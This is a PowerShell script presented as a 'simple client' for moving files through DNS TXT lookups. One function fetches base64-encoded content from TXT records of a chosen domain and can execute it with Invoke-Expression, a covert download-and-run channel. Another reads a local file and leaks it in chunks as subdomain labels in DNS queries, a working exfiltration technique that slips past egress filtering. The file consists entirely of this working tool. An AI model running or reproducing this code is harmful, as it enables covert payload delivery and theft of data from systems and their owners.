# Simple Powershell client, also runs on linux with Powershell Core Function Get-DnsTxt { [CmdletBinding()] param( [string] $Domain ) Try { return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim() } Catch [System.Management.Automation.CommandNotFoundException] { return dig +short $Domain TXT } } Function Get-DnsFile { [CmdletBinding()] param( [string] $FileName = $(Read-Host -Prompt 'Enter a FileName'), [string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName'), [switch] $Execute, [switch] $Write, [string] $OutPath ) $count = [int](Get-DnsTxt -Domain "$FileName.count.$DnsName") $file_base64 = "" For ($i=0; $i -le $count; $i++) { $file_base64 += (Get-DnsTxt -Domain "$FileName.$i.$DnsName") } "Base64 $file_base64" $file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64)) "String $file_string" If ($Execute.IsPresent) { $file_string | Invoke-Expression } Else { $file_string | Out-String } If ($Write.IsPresent) { $file_string | Out-File -FilePath ($OutPath, $FileName)[!$OutPath] } } Function Push-DNSFile { [CmdletBinding()] param( [string] $FileName = $(Read-Host -Prompt 'Enter a Filename'), [string] $DnsName = $(Read-Host -Prompt 'Enter a DnsName') ) $id = (Get-FileHash $FileName | Select-Object Hash | Format-Table -HideTableHeaders | Out-String).Trim() $id = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($id)).Substring(0,6) $content_binary = Get-Content -Path $FileName -Encoding utf8 $content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary)) $i = 0 While ($content_base64) { $url = "."+$i+"-"+$id+"u."+$DnsName $len = 63 - $url.Length if($len -le $content_base64.Length) { $content_part = $content_base64.Substring(0, $len) $content_base64 = $content_base64.Substring($len) } else { $content_part = $content_base64 $content_base64 = $false } Get-DnsTxt -Domain ($content_part + $url) $i++ } }